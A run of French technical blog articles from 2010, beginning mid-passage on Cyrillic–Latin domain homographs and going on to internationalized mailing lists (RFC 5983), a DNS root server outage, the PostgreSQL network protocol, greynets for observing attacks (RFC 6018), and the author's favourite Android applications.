Bien, armé de ces observations et de cette table, que peut faire un registre de noms de domaines qui accepte les caractères cyrilliques ? Prenons l'exemple classique du sigle russe de l'ancienne URSS, СССР. Ce sigle en cyrillique { U+0421 U+0421 U+0421 U+0420 } et le texte latin { U+0043 U+0043 U+0043 U+0050 } sont très proches. Alors, que doit faire un registre qui accepte les caractères cyrilliques et les latins (ce qui est le cas de .eu) ? Il peut allouer СССР et CCCP (le premier est en cyrillique, le second en latin) au même titulaire. Il peut n'autoriser qu'un des deux noms et bloquer l'autre. Ici, il n'y a que deux variantes. Mais, dans certains cas, il peut y en avoir plus (surtout en ajoutant l'alphabet grec ce qui, là encore, est le cas du .eu). Le registre peut alors choisir une solution intermédiaire en enregistrant certaines variantes et en bloquant d'autres. Ces possibilités, et leurs conséquences, sont discutées dans la section 6.


Téléchargez le RFC 5992


L'article seul

RFC 5983: Mailing Lists and Internationalized Email Addresses

Date de publication du RFC : Octobre 2010
Auteur(s) du RFC : R. Gellens (Qualcomm)
Expérimental
Réalisé dans le cadre du groupe de travail IETF eai
Première rédaction de cet article le 5 octobre 2010


L'arrivée des normes sur le courrier électronique entièrement internationalisé a suscité beaucoup d'intérêt et d'expériences. Un des points qui avait été laissé dans l'ombre au début est le cas de listes de diffusion. Ce RFC comblait le manque, explique le problème et donnait des recommandations. Il a depuis été remplacé par le RFC 6783.

Une liste de diffusion est un mécanisme par lequel un message, bien qu'envoyé à une seule adresse, est distribué à plusieurs destinataires. L'agent logiciel qui reçoit le message et le redistribue modifie l'adresse de retour indiquée dans l'enveloppe, de façon à ce que ce soit lui, et non pas l'expéditeur originel, qui reçoive les éventuels avis de non-remise. Dans le cas d'une « vraie » liste de diffusion (par exemple, pas un simple alias Postfix), le message ainsi modifié est réinjecté par une soumission normale.

Le message subit d'autres changements, comme par exempe l'ajout d'en-têtes spécialisés dans la gestion de listes (RFC 2369 et RFC 2919) comme List-Id:, qui contient une adresse, celle de la liste, ou List-Unsubscribe:, qui contient un URI, typiquement de plan mailto:.

Idéalement, cela s'arrêterait là. Mais certains MLM (Mailing List Manager, logiciels de gestion de listes) vont plus loin et modifient le message, par exemple pour ajouter un en-tête Reply-To:, ou pour ajouter le nom de la liste dans le sujet, ou bien pour ajouter du texte à la fin du message. Pire, certains modifient des en-têtes comme From:.

Il y a trois endroits où l'arrivée des adresses de courrier en Unicode a un impact sur les listes de diffusion :

  • Le transport des messages,
  • Les en-têtes mis dans les messages,
  • Les politiques de gestion de la liste.

Les questions soulevées par ces nouvelles adresses peuvent être purement techniques (un MLM pourrait par exemple refuser les adresses non-ASCII) ou plus sémantiques, liées aux utilisateurs (si la liste elle-même a une adresse ASCII, et qu'un de ses membres a une adresse Unicode, l'expéditeur pourrait être surpris si cette adresse Unicode venait à sa connaissance, même si toute la partie technique a bien fonctionné).

Certains de ces problèmes peuvent aussi arriver en communication directe, sans l'intermédiaire de la liste de diffusion. Mais ils se règlent plus difficilement dans le cas d'une liste car l'expéditeur d'un message, par exemple, ne peut évidemment pas s'adapter à chaque membre de la liste.

Bref, après les trois endroits mentionnés plus haut, il faut se poser les trois questions concrètes suivantes :

  • La liste peut-elle avoir elle-même une adresse en Unicode ? Par exemple évolution-langue@académie-française.fr ?
  • La liste accepte t-elle des abonnés « Unicode » comme étienne@massé.fr ?
  • La liste accepte t-elle les messages délivrés entièrement en Unicode (RFC 5336) ?

Avant d'étudier ces trois questions plus en détail, la section 3 rappelle un scénario particulièrement délicat : si le message originel nécessite UTF8SMTP, par exemple parce que l'adresse de son expéditeur comprend de l'Unicode, et que certains des destinataires de la liste ont des serveurs SMTP sans cette option, le message devra se rabattre sur de l'ASCII seul, suivant le RFC 5504, sans que le serveur SMTP de l'expéditeur original n'ait pu se rendre compte de quelque chose. Ce problème devrait disparaitre avec le temps, le repli sur l'ASCII seul étant largement considéré aujourd'hui comme une mauvaise idée, qui a été exclue de la normalisation définitive du courrier électronique avec adresses Unicode.

Après ce petit détour, revenons aux trois questions. En théorie, le système de gestion de la liste peut répondre OUI à n'importe laquelle des questions indépendamment des autres. En pratique, toutefois, on ne voit pas bien l'intérêt d'avoir une adresse en Unicode si le serveur SMTP frontal ne gère pas UTFSMTP (et réciproquement, d'ailleurs). La section 4 discute ces trois services séparement mais, logiquement, les MLM les fourniront tous ou aucun.

Donc, premier service, que la liste ait une adresse de soumission en Unicode, comme pause-café@bavardage.fr. Le RFC recommande que la liste ait aussi une adresse alternative en ASCII (alt-address du RFC 5336, section 3.4), mettons pause-cafe@bavardage.fr. À noter que la liste a aussi une autre adresse, utilisée comme expéditeur dans l'enveloppe des messages sortants, et qui reçoit donc les messages d'erreur. Pour ce cas, la liste peut très bien se contenter d'une adresse en ASCII seul et, si cette adresse est en Unicode, le RFC impose (c'est la seule obligation nouvelle de ce RFC) qu'il y aie une alt-address en ASCII, pour garantir la bonne réception des messages d'erreur.

Et pour les adresses des abonnés ? Il n'y a pas de recommandation stricte, juste le rappel qu'une liste peut, si elle le souhaite, imposer que les abonnés fournissent une adresse alternative en ASCII.

Enfin, pour UTF8SMTP, le gestionnaire de la liste doit s'assurer que tous les serveurs sur le chemin gèrent bien cette option.

Le courrier entièrement internationalisé pose un autre problème, c'est celui des en-têtes List*: tels que normalisés par les RFC 2369 et RFC 2919. Pour reprendre l'exemple de pause-café@bavardage.fr, à quoi doivent ressembler, par exemple, ces en-têtes :


List-Id: Liste de discussion en Unicode <pause-café@bavardage.fr>
List-Unsubscribe: <mailto:pause-café-requête@bavardage.fr?subject=unsubscribe>
List-Archive: <http://www.example.net/listes/pause-café/archives>

Pour les deux derniers en-têtes, qui contiennent des URI, tout dépend du plan (ici, mailto: et http:). Même si ce dernier autorise les IRI (ce qui n'est pas le cas de mailto: aujourd'hui), le RFC demande que ce soit leur forme encodée en URI qui soit utilisée. (Notons que les IRI sont actuellement en cours de réforme à l'IETF, et qu'un des points en discussion est l'encodage du nom de domaine dans l'IRI, problème qui ne se pose pas dans cet exemple.) On aura donc, par exemple :


List-Unsubscribe: <mailto:pause-caf%C3%A9-requ%C3%AAte@bavardage.fr?subject=unsubscribe>
List-Archive: <http://www.example.net/listes/pause-caf%C3%A9/archives>

Ces en-têtes List*: étant essentiels pour le bon fonctionnement des listes, le RFC insiste sur le fait qu'avoir également une alternative en ASCII pur est très souhaitable. Les deux adresses (Unicode et ASCII) sont indiquées dans deux URI différents, séparés par des virgules (RFC 2369, section 2).

L'en-tête List-Id (qui identifie une liste de manière unique), lui, ne prend pas un URI comme valeur et cette discussion ne s'applique pas à lui. En revanche, il est très souvent utilisé dans des systèmes de traitement automatique du courrier reçu comme les filtres Sieve. Ces filtres ne réagissent pas forcément correctement à de l'Unicode (par exemple, ils peuvent échouer à comparer la forme UTF-8 et une forme encodée différemment). Le RFC ne fournit toutefois pas de solution à ce problème.

Je ne connais pas encore de gestionnaire de liste de diffusion qui ait des plans précis pour la mise en œuvre des adresses de courrier internationalisées. Sympa, par exemple, en est au stade de la réflexion sur ce point. Le RFC 6783, version actuelle, traite le problème très différemment, notamment en raison de la suppression du repli automatique (d'un message internationalisé vers un message ASCII).


Téléchargez le RFC 5983


L'article seul

Un serveur racine du DNS dans la tempête

Première rédaction de cet article le 3 octobre 2010


C'est une tempête essentiellement médiatique qui a affecté le serveur racine du DNS H.root-servers.net le premier octobre. Certes, pris dans la tempête tropicale Nicole, le serveur a bien été arrêté pendant plusieurs heures. Mais cette panne serait complètement passée inaperçue, vu le nombre de serveurs racine en service, sans un article sensationnaliste sur Slashdot.

Les faits sont d'une grande sécheresse et n'auraient normalement intéressés que les lecteurs besogneux de la liste dns-operations de l'OARC : un des treize serveurs de la racine du DNS, H.root-servers.net, situé à Aberdeen dans une zone plutôt cyclonique, a été arrêté, les lignes qui le relient à l'Internet ayant été coupées par des poteaux tombés, et l'indondation ne permettant pas une réparation rapide. Personne, en dehors de petits cercles comme les membres de l'OARC, ne s'est aperçu de rien car il y a treize serveurs équivalents (et bien plus de machines physiques). La fiabilité de la racine ne dépend pas du bon fonctionnement de tous les serveurs à un moment donné, mais du fait qu'ils sont suffisamment nombreux et dispersés sur toute la planète pour qu'une catastrophe naturelle ne les frappe pas tous en même temps (c'est en utilisant ces techniques que .ht a survécu au tremblement de terre.) Mais un troll de service a transformé ce non-événement en article à sensation sous le titre « Army DNS ROOT Server Down For 18+ Hours ».

Et alors ? Alors rien, beaucoup de bruit pour absolument rien. Les douze autres serveurs ont continué leur travail et aucun utilisateur n'a vu le moindre problème. Une situation analogue à celle de la panne dite « attribut 99 » où certains avaient prétendu que .fr avait été affecté alors qu'un seul serveur était injoignable (tous les autres continuant leur service). Évidemment, si on scrute DNSmon en détail, ce que font les professionnels, on voit de nombreuses perturbations. Mais la très grande majorité n'atteint jamais l'utilisateur.

Donc, heureusement que l'article nullissime de Slashdot a été suivi de quelques commentaires intelligents : merci donc à forkazoo pour rappeler que même la panne de tous les serveurs racine ne couperait pas instantanément le DNS, et à A beautiful mind pour noter que H est de loin l'un des serveurs racine les plus petits et que certains des autres sont autrement mieux dotés. D'autre part, l'Internet Storm Center a publié un court (il n'y avait pas besoin de faire long) article sur ce sujet.


L'article seul

Le protocole d'accès au serveur de PostgreSQL

Première rédaction de cet article le 1 octobre 2010


Alors que tout l'Internet repose sur des protocoles normalisés, décrits en détail dans des documents stables et accessibles publiquement (les RFC), il existe un domaine où il n'y a pas de protocole réseau standard : l'accès aux serveur de base de données. Que les logiciels soient libres comme MySQL ou PostgreSQL ou bien privateurs comme Oracle, le protocole de communication entre le client et le serveur est complètement spécifique. À quoi ressemble celui de PostgreSQL ?

Certains points sont plus ou moins normalisés. Par exemple, le langage des requêtes, SQL a fait l'objet de normes, malheureusement non accessibles publiquement, ce qui supprime une bonne partie de son intérêt (et aide à comprendre la sérieuse divergence des mises en œuvre de SQL). En outre, cette norme est très difficile à déchiffrer.

De même, pour une communication entre une application et le client qui tourne sur la même machine, il existe des solutions plus ou moins standardisées comme ODBC ou JDBC. Mais sur le câble, sur le vrai fil où passe les paquets, quel est le protocole ? Eh bien, cela dépend du SGBD.

Il y a des gens qui trouvent que c'est mieux comme cela. Je me souviens d'avoir entendu un commercial Oracle, il y a quelques années, expliquer que le fait qu'Oracle utilise un protocole non-standard protégeait contre les sniffers qui, autrement, auraient pu capturer le mot de passe. Pour voir à quel point c'est idiot, il suffit d'essayer l'excellent dSniff, qui décode le protocole d'Oracle (le source est dans le fichier decode_oracle.c), Net8 (autrefois appelé SQL*Net). (Un petit piège est documenté dans la FAQ.)

Bon, et PostgreSQL, comment fait-il ? Il a aussi un protocole privé, mais très bien documenté. Si vous voulez un exemple réel pour vous instruire, vous pouvez analyser une session PostgreSQL avec Wireshark (qui a un excellent décodeur PostgreSQL) ou bien tout simplement regarder en ligne avec les bons moyens d'affichage de pcapr une session PostgreSQL complète.

Bon, le protocole est documenté. Mais est-il suffisamment stable pour qu'on puisse créer des clients natifs, plutôt que de passer par la bibliothèque libpq voire carrément par le client en ligne de commande psql, avant analyse du texte produit ? Les différents mises en œuvre de bibliothèque PostgreSQL ont suivi des chemins différents. Par exemple, pour Emacs, il existait un excellent mode psql-mode (qui semble avoir disparu de son site originel mais dont on trouve encore des copies par-ci par-là), qui fonctionne en lançant la commande psql puis en analysant le résultat. Ou bien il existe une bibliothèque native, pg.el, entièrement en Emacs Lisp.

De même, pour tout nouveau langage de programmation, se pose la question de la réalisation d'une bibliothèque PostgreSQL. Appeler libpq, ce qui oblige à dépendre de C ? C'est ce que fait, pour Python, la bibliothèque psycopg. Ou bien tout faire soi-même ? Pour Go, le premier effort de création d'une telle bibliothèque, go-pg, utilisait la libpq (ce qui faisait perdre un certain nombre de propriétés de Go comme la gestion complète de la mémoire). Le deuxième projet, bien plus perfectionné, go-pgsql a choisi la voie native et semble très bien fonctionner.

En parlant de Go, j'ai fait moi-même, pour apprendre le protocole, un petit programme qui se connecte à un serveur distant, effectue une requête simple et récupère les résultats. Le protocole est un protocole binaire plutôt simple, avec des règles très cohérentes partout. Mais j'ai découvert que le protocole n'était pas complètement spécifié, notamment pour les méthodes d'authentification. Ainsi, la documentation de l'authentification MD5 ne précise pas du tout qu'il faut concaténer le mot de passe avec le nom, ni qu'il faut faire deux hachages successifs. Cela, on ne l'apprend qu'en lisant le code du serveur ou de la libpq (ou, dans mon cas, en lisant le source Lisp de la bibliothèque Emacs citée plus haut). Bref, si cela vous amuse, mon petit programme est en test-protocol-postgresql.go. Ce n'est qu'un programme d'exploration (pas de factorisation du code, pas de machine à états, etc), n'en attendez pas plus.


L'article seul

RFC 6018: IPv4 and IPv6 Greynets

Date de publication du RFC : Septembre 2010
Auteur(s) du RFC : F. Baker (Cisco), W. Harrop, G. Armitage (CAIA, Swinburne University of Technology)
Pour information
Première rédaction de cet article le 30 septembre 2010


Il y a longtemps que les chercheurs en sécurité des réseaux utilisent des darknets, des réseaux dont les adresses IP ne sont normalement pas attribuées, pour analyser les attaques. Si on annonce une route vers un tel réseau, le trafic qu'on capte est essentiellement composé d'attaques ou de reconnaissances préalables à une attaque puisque rien de légitime ne peut utiliser ces réseaux. L'inconvénient des darknets est qu'ils sont trop gros et trop visibles : les attaquants apprennent vite leur existence et les mettent alors sur leur liste « pas touche » et les attaques cessent. Ce RFC décrit une alternative, le greynet, dont le préfixe IP est alloué et routé mais au sein duquel certaines adresses ne correspondent pas à une machine en activité.

Normalement, un routeur IP doit jeter les datagrammes destinés à une adresse qui ne répond pas aux requêtes ARP (RFC 826) ou ND (RFC 4861). On pourrait envisager de configurer des règles spéciales par adresse IP, pour copier les datagrammes destinés à ces machines vers la sonde d'observation. Mais, pour construire facilement le greynet, le RFC suggère une autre méthode : configurer le routeur pour que, au lieu de jeter les paquets qui ne peuvent pas être délivrés, il les copie vers la machine de surveillance. Toute adresse IP non affectée devient alors membre du greynet.

On peut ainsi détecter les attaques (ou les reconnaissances) vers ces adresses, mais aussi les cas d'usurpation de ces adresses par un tiers. Ces usurpations vont en effet produire du backscatter, de l'émission par les cibles en réponse aux reconnaissances, et une partie au moins de ce backscatter atteindra le greynet.

La section 2 sert ensuite de manuel pour l'administrateur réseaux qui voudrait déployer un tel système. Il doit évidemment d'abord mettre en place la machine de collecte, qui va recevoir les paquets, les enregistrer et plus tard les analyser. Ensuite, il peut utiliser le routage IP normal et choisir un préfixe non utilisé pour le router vers cette machine, créant ainsi un darknet (section 2.1). Sur Linux, par exemple, cela se ferait avec route add -net 192.0.2.128/25 gw 198.51.100.1192.0.2.128/25 est le préfixe du darknet et 198.51.100.1 l'adresse de la machine de collecte.

Mais s'il veut faire un greynet, il lui faut un routeur un peu spécial (section 2.2) qui va devoir, lorsqu'il reçoit un paquet pour lequel il n'a pas eu de réponse aux requêtes ARP et ND, le faire suivre à la machine de collecte. C'est à la fois plus simple qu'un darknet (pas de configuration explicite, à part l'adresse de la machine de collecte, cf. section 3) et plus compliqué (aucun routeur IP normal ne sait faire cela : en cas de non-réponse à ARP et ND, le paquet est abandonné).

La première documentation des greynets était dans « Greynets: a definition and evaluation of sparsely populated darknets », dans la 30th Conference on Local Computer Networks de l'IEEE en 2005. Elle a été suivie de plusieurs expériences, résumées dans la section 1.1 du RFC. L'utilisation du routeur pour identifier les adresses du greynet (ce sont celles qui ne répondent pas en ARP ou en ND) est venue après. La première mise en œuvre était sur un routeur Linux. Le fichier à récupérer est http://www.owenstephens.co.uk/files/neigh_fwd.c, et il se place dans le répertoire net/core des sources du noyau. Il faut ensuite appeler les fonctions nécessaires depuis neighbour.c, le moyen le plus simple étant sans doute de patcher ce dernier avec http://www.owenstephens.co.uk/files/neighbour.c.diff. (Merci à Owen Stephens pour avoir mis les sources en ligne.)

L'ajout d'IPv6 est venue encore ultérieurement. Bien qu'on entende souvent dire qu'un balayage complet d'un réseau IPv6 est impossible, vu le nombre d'adresses possibles, le RFC 7707 a montré que c'était faux. En pratique, les attaques IPv6 n'ont jamais été observées dans la nature mais il ne fait guère de doute que cela se produira un jour.

Un dernier avertissement pour ceux qui veulent tenter l'aventure : lisez bien la section 6 sur la sécurité. Tout dispositif de collecte peut faire l'objet d'abus, par exemple par un méchant qui, sachant qu'une collecte est en cours, va tenter de la saturer en envoyant plein de paquets.


Téléchargez le RFC 6018


L'article seul

Mes applications favorites pour Android

Première rédaction de cet article le 29 septembre 2010
Dernière mise à jour le 8 octobre 2010


Depuis que je suis l'heureux possesseur d'un smartphone (phono sapiens ?), un HTC Desire, tournant sous Android 2.1, j'ai essayé quelques applications intéressantes, ainsi que des applications classiques mais avec des usages peut-être originaux. Donc, cet article est l'occasion de documenter un peu tout ça.

Comme Android, contrairement à iOS, n'oblige pas les développeurs à passer devant un Comité Central d'Approbation, qui décidera si leur programme mérite ou non d'être accessible, il existe un très grand nombre de logiciels pour Android. On peut les charger sur le Market officiel, sur un market alternatif ou bien directement sur le site Web de l'auteur (curieusement, un très grand nombre de ces applications ne semblent pas avoir de site Web officiel, voilà pourquoi je n'ai pas toujours mis de lien : si vous le connaissez, n'hésitez pas à le signaler). Beaucoup de ces applications sont libres, la plupart sont gratuites (toutes les applications citées ici sont gratuites sur le Market et, sauf erreur, la plupart sont libres ; les autres affichent souvent de la publicité dans un coin de l'écran). Mais attention, le niveau de qualité est très variable : on rencontre plein d'applications à moitié finies ou abandonnées par leur mainteneur. Il ne faut donc pas forcément se précipiter et tout installer, certaines vous feront perdre pas mal de temps avant que vous ne constatiez qu'elles ne sont vraiment pas au point. D'où l'intérêt des listes que font certains, par exemple celle de Geek Feat ou celle de FrAndroid. C'est d'autant plus vrai qu'Android est une plate-forme riche et complexe et que la maîtriser prend du temps ! (Comme le disait Bjarne Stroustrup, « I have always wished for my computer to be as easy to use as my telephone; my wish has come true because I can no longer figure out how to use my telephone. ».)

Commençons par ce qui était le plus important pour moi, les fonctions d'« assistant personnel ». Mon cahier des charges était entre autres de ne pas échapper au Charybde Apple pour tomber dans le Scylla Google. Est-ce possible sur Android d'avoir agenda et carnet d'adresses sans passer par Google ? J'ai bien un compte Google, et même un agenda public, mais je ne voulais pas donner toutes mes informations à Google. L'excellente page « Se passer de Google sur Android » rassemble des conseils pour configurer les applications d'Android sans Google ou bien pour les remplacer. (Il y a aussi un article sur la technique pour n'installer que certaines applications Google.)

Le logiciel d'agenda d'Android est plutôt bien fait. Il gère par exemple très bien le fait d'avoir plusieurs agendas (un en local et un public chez Google, par exemple). Il utilise correctement le mécanisme de recherche d'Android (Paramètres -> Recherche -> Sources). Il n'a pas de concurrent, de toute façon (un projet comme AnCal a été abandonné et le logiciel Jorte, parfois cité, est plutôt pauvre, par exemple il n'a pas le concept d'évenements récurrents, je l'ai donc désinstallé). On notera que la page « Se passer de Google sur Android » citée plus haut ne parle pas de l'agenda. C'est en effet le point le plus noir d'Android. On peut se servir du client Agenda de Android sans Google, en utilisant un agenda local. Il ne semble pas y avoir de moyen simple de créer son propre agenda local mais Android 2.1 venait avec un tel agenda nommé Local, et Android 2.2, s'il a supprimé le précédent, a un agenda « PC Sync » qui semble convenir. Même après synchronisation, on ne le voit pas sur Google (je n'ai pas vérifié avec un sniffer que rien n'était transmis...).

Donc, on peut utiliser le client Agenda sans envoyer ses données à Google. Reste à les sauvegarder, voire à les synchroniser avec d'autres services, ce qui fait l'objet d'article spécifique.

Par rapport à l'Agenda, les Contacts ont été d'une simplicité enfantine. J'ai coupé la synchronisation avec Google, et récupéré les contacts qui étaient enregistrés dans le Palm, en passant par le format standard vCard (RFC 2415). Pour les sauvegardes, l'outil Contacts d'Android sait exporter en vCard sur la carte SD du téléphone, qu'on récupére ensuite en connectant le téléphone à un ordinateur par son câble USB. Curieuse incohérence de la part de Google que leur outil Contacts sache lire et écrire des fichiers vCard alors que leur outil Agenda ne sait pas lire ou écrire des fichiers iCalendar (plus exactement, il ne sait pas importer ou exporter la totalité de l'agenda mais il permet d'envoyer une entrée - et une seule - au format iCalendar / vCalendar)...

On peut stocker beaucoup de choses sur les quatre gigas de la carte SD incluse dans le HTC Desire. Il est donc préférable d'avoir un gestionnaire de fichiers pour s'y retrouver. Or, Android n'en a pas par défaut ! Ce n'est pas très grave car il y en existe plusieurs bons et j'utilise Astro, qui permet de voir les fichiers, les copier, les détruire, indiquer la place prise par les dossiers, etc.

Et pour le courrier ? On n'est pas obligé d'utiliser Gmail, le client de courrier standard (« E-Mail ») peut parler IMAP. Par contre, je n'ai jamais réussi à lui faire faire du SMTP avec authentification (RFC 6409), l'application prétend à chaque fois que le serveur SMTP ne propose pas d'authentification. Heureusement, il existe d'autres MUA disponibles sur Android, et qui fournissent les fonctions qui manquent cruellement à E-mail (comme la possibilité de transférer un message dans un autre dossier...). K9 mail semble le plus recommandé et c'est celui que j'ai adopté. Tout y marche très bien. (Curiosité : le Message-ID: fabriqué automatiquement se termine par @email.android.com...)

Ah, au passage, un autre point noir d'Android : on n'est pas obligé d'utiliser les applications livrées avec le système mais on ne peut pas les désinstaller (sauf si le téléphone est rooté). Ainsi, j'ai abandonné E-Mail au profit de K9, je n'ai jamais utilisé Bourse mais je dois quand même les laisser prendre de la place sur disque (et programmer un gestionnaire d'applications pour les tuer et les empêcher de consommer de la mémoire).

Une des utilités que je voyais au smartphone était la possibilité de se connecter en SSH de n'importe où, pour les machines que je gère. Le client SSH le plus recommandé semble être ConnectBot qui semble en effet excellent. On peut changer la taille des caractères dans le menu de configuration de chaque serveur, mais pas avec le mécanisme de zoom habituel d'Android, il faut utiliser le bouton... de contrôle du volume !.

Ce téléphone sert entre autre pour un usage professionnel et la sécurité est donc importante (par exemple, je ne mets pas encore de clés privées SSH sur cette machine, tant que tout le monde y a accès). Par défaut, la carte SIM est certes protégée par son code PIN mais ce n'est pas le cas de tout le reste du téléphone. Quiconque l'allume a donc tous les droits. Il va falloir que je trouve un système de verrouillage, je suppose que c'est quelque part dans la documentation...

Après ces outils peu amusants mais indispensables à l'homme moderne, place aux choses plus ludiques. D'abord, les cartes. Je n'avais pas envie de dépendre de Google Maps d'autant plus qu'il faut une connexion Internet. Contrairement à une légende répandue, on n'est pas toujours connecté ; même avec un abonnement 3G, le souci d'économiser la batterie et, surtout, les tarifs du roaming (à l'étranger, au moment où on a le plus besoin de cartes !) font que je préfère avoir les cartes en local. D'autant plus qu'il existe un superbe projet de création de données cartographiques libres et réalisées par les utilisateurs eux-même : OpenStreetMap, qui est aux cartes ce que Wikipédia est à la connaissance. L'excellent logiciel MapDroyd utilise les données OpenStreetMap, indique la position mesurée par le GPS du téléphone, et est très agréable, notamment sa possibilité de fonctionner entièrement hors-ligne, avec un choix simple des cartes que l'on télécharge (attention, toutefois, les données sont énormes et on ne peut pas tout charger à la fois, même sur les quatre gigaoctets de la carte SD livrée avec le HTC Desire ; heureusement, MapDroyd permet de gérer les cartes - ajout et enlèvement - très facilement). Par contre, MapDroyd n'a apparemment pas de fonctions de navigation : on ne peut pas lui donner une destination (que ce soit sous la forme d'une adresse ou bien en longitude/latitude) et lui demander de nous y emmener.

Pour cela, il faut se tourner vers gvSIG mini (la fonction d'analyse des adresses semble très sommaire) ou AndNav2 ou encore OpenSatNav. Il va falloir que je les teste mais aucun d'eux ne fonctionne hélas hors-ligne.

Pour accéder aux données GPS, les enregistrer, etc, on m'a recommandé Open GPS Tracker. Antennas, par contre, semble fonctionner avec les informations GSM, pas GPS.

En parlant d'OpenStreetMap, il faudrait aussi, maintenant que j'ai le matériel adapté, que j'y contribue. Disons que, pour l'instant, la documentation d'introduction est un peu effrayante et qu'une chose aussi simple que de corriger un bureau de poste mal placé Porte de Vanves semble nécessiter des compétences assez pointues (pour corriger des erreurs simples, il est peut-être préférable de passer par OpenStreetBugs, que me suggère Emmanuel H. mais qui ne semble pas fonctionner ni avec mon Firefox, ni avec mon Chrome). Dès que j'ai le courage, je m'y mets.

Plus facile, l'utilisation de Twitter. Un client est livré avec Android, Peep. Mais il y en a plein d'autres, vu le caractère essentiel, vital et critique de ce service. Plume (ex-Touiteur) est souvent conseillé. Je le trouve en effet agréable. Une étude comparée des clienst Twitter sur Android se trouve en http://androinica.com/2010/03/25/the-best-android-twitter-app-is-droid-vs-droid/.

J'utilise régulièrement le système Vélib. Y a t-il une application sur Android pour trouver un vélo libre, sachant que la Mairie de Paris ne prend en compte que les clients du téléphone fermé d'Apple et que l'API n'est pas officiellement documentée ? Molib ne me convainc pas : très riche graphiquement (avec vue en perspective des stations) mais manquant de certaines fonctions essentielles (comme la possibilité de trouver des stations ayant de la place, pour repose son vélo : Molib indique les stations ayant des vélos mais sans différencier les pleines des autres). J'ai eu des recommandations pour Veloid et OpenVelib. J'utilise désormais OpenVelib, qui a toutes les fonctions nécessaires.

Outre le Vélib, j'utilise souvent trains de banlieue et RER mais je n'ai pas encore cherché les applications d'information en temps réel sur le trafic, qui seraient certainement très utiles.

Un des avantages d'un smartphone est qu'on l'a toujours sur soi, prêt à être utilisé. C'est peut-être pratique pour réviser ses leçons. Par exemple, pour apprendre le lojban. Mais je n'ai pas encore trouvé de tutoriel Lojban sur Android... Question e-book, vous pouvez lire mes essais dans un autre article.

Et pour programmer ? Bien que le langage Go et Android sortent de la même entreprise, il ne semble pas y avoir déjà de moyen simple (i.e. sans rooter la machine) d'installer Go sur Android. En attendant, je garde en mémoire quelques liens sur les moyens de programmer en Python sur Android (pas encore essayé).

Tiens, pour garder sur mon téléphone une copie des fichiers sur lesquels je travaille, il y a même un client Subversion, Subdroid (pas encore testé).

Bien sûr, une des fonctions les plus centrales de tout téléphone portable est la configuration des sonneries. Cela peut se faire sur Android comme ailleurs mais je ne m'y suis pas encore lancé. Le jour où je le ferai, il existe un excellent éditeur de sons, permettant de prendre un MP3, d'en sélectionner une partie, de l'installer comme sonnerie ou alarme, etc : Ringroid.

Android reposant sur un noyau Linux, il ne devrait pas y avoir de problème à avoir un terminal ouvert, ou à installer un serveur SSH pour se connecter à distance. Mais j'ai l'impression que cela ne fonctionne que pour des téléphones rootés ce que je n'ai pas fait immédiatement. Pour cette raison, et pour le problème des outils de programmation (voir plus haut), je n'ai pas encore essayé d'écrire mon blog sur mon téléphone.

Un téléphone portable se déplace, par définition, et beaucoup de ses fonctions dépendent d'un accès à l'Internet (ou, au minimum, au Web). La 3G fournit cet accès mais à un prix élevé, surtout en roaming. Le Wifi, qu'on trouve partout en ville, fournit une solution intéressante mais, en se promenant dans Paris, on en croise, des bornes Wifi (en bonne partie grâce à FreeWifi auquel je suis abonné). Pour voir facilement la « meilleure », il existe plusieurs logiciels et, pour l'instant, je me sers de Wifi Analyzer, simple et pratique. Cela me fait penser que je voudrais bien pouvoir sniffer le trafic Wifi du téléphone, pour voir si Google ou d'autres applications n'envoient pas trop de choses, ce qui consomme des ressources réseau et peut indiquer un problème de respect de la vie privée. Si le trafic est protégé par WPA ou équivalent, une autre machine ne peut pas, je l'espère, examiner le trafic et il faut donc sniffer depuis le téléphone lui-même. Il existe apparemment plusieurs sniffers sur le Market, à tester.

Pour lire les code-barres 2D, si fréquents aujourd'hui, j'utilise Barcode Scanner (voir aussi cet article) mais il existe aussi Neo Reader. Pour créer des codes-barres 2D avec ses informations de contact, je recommande http://zxing.appspot.com/generator/. C'est avec lui qu'a été créée cette image, qui indique comment me contacter :contact-info-barcode.png. Le projet Proxima Produit, qui promet des services orientés consomateur sur mobiles. Quant à CodeOnLine, leur logiciel n'est pas proposé pour le HTC Desire.

Question réseau, il existe plein de petits logiciels qui affichent des informations sur la connexion du téléphone Android. La meilleure semble être Network Info II qui affiche tout ce dont on peut rêver, même l'adresse IPv6. Eh oui, Android 2.1 a IPv6 (apparemment, seulement sur le Wifi) et voici ce que voit un site Web visité :

2a01:e35:8bd9:8bb0:3ae7:d8ff:fed0:22f3 - - [29/Sep/2010:17:39:17 +0200] \
      "GET / HTTP/1.1" 200 247105 "-" "Mozilla/5.0 (Linux; U; Android 2.1-update1; \
      fr-fr; Desire_A8181 Build/ERE27) AppleWebKit/530.17 (KHTML, like Gecko) \
      Version/4.0 Mobile Safari/530.17" www.bortzmeyer.org

D'autres outils comme Netinfo n'affichent pas l'adresse v6. Si on veut faire des tests actifs sur le réseau, NetTools me semble bien, alors que Ping & DNS est très bogué pour moi. Le meilleur logiciel de test DNS est DNSdroid. Mais il ne permet pas de faire des requêtes DNS quelconques.

Une des plaies du HTC Desire est la faible capacité de la batterie. Si on joue beaucoup avec les multiples fonctions du téléphone, on est à sec avant 16h et j'ai donc dû acheter un autre chargeur pour en avoir un au bureau. C'est en partie dû au fait que le jouet est récent et que j'essaie donc beaucoup de trucs (Wifi, GPS, etc.). Pour gérer sa batterie, Android 2.2 vient avec deux outils très pratiques, le widget « Contrôle de l'alimentation » qui permet d'activer et de couper très facilement les services comme le WiFi, Bluetooth ou le GPS. Et le second est dans Paramètres -> À propos du téléphone -> Batterie, l'option « Utilisation de la batterie » qui permet d'avoir une jolie représentation graphique des services les plus consommateurs. Sur le market, on trouve en outre Battery Booster Lite qui permet de couper automatiquement les services la nuit, endormant ainsi le téléphone sans qu'il consomme de l'énergie. Comme plusieurs applications du Market, la version gratuite n'offre qu'une partie des services annoncés. C'est encore pire pour son concurrent Power Manager, que je n'ai donc pas retenu. Quant à Juice Defender, il ne peut même pas se configurer sans une connexion 3G. Viré également.

Une autre approche pour économiser la batterie est celle du gestionnaire d'applications. Il en existe beaucoup, la plupart permettent de tuer automatiquement les services désignés, avec liste de ceux à ne jamais tuer et ceux à tuer plus vite. Mes deux préférées sont Task Killer Pro et Advanced Task Killer. Un peu au pifomètre, j'ai retenu ce dernier. TaskKiller a l'air prometteur aussi. Je n'ai pas gardé longtemps Process Manager, dont les réglages sont uniquement dans une langue asiatique ou Task Manager, qui n'offre rien de particulier. En combinant ces gestionnaires d'applications, et un usage prudent, on peut tenir 48h.

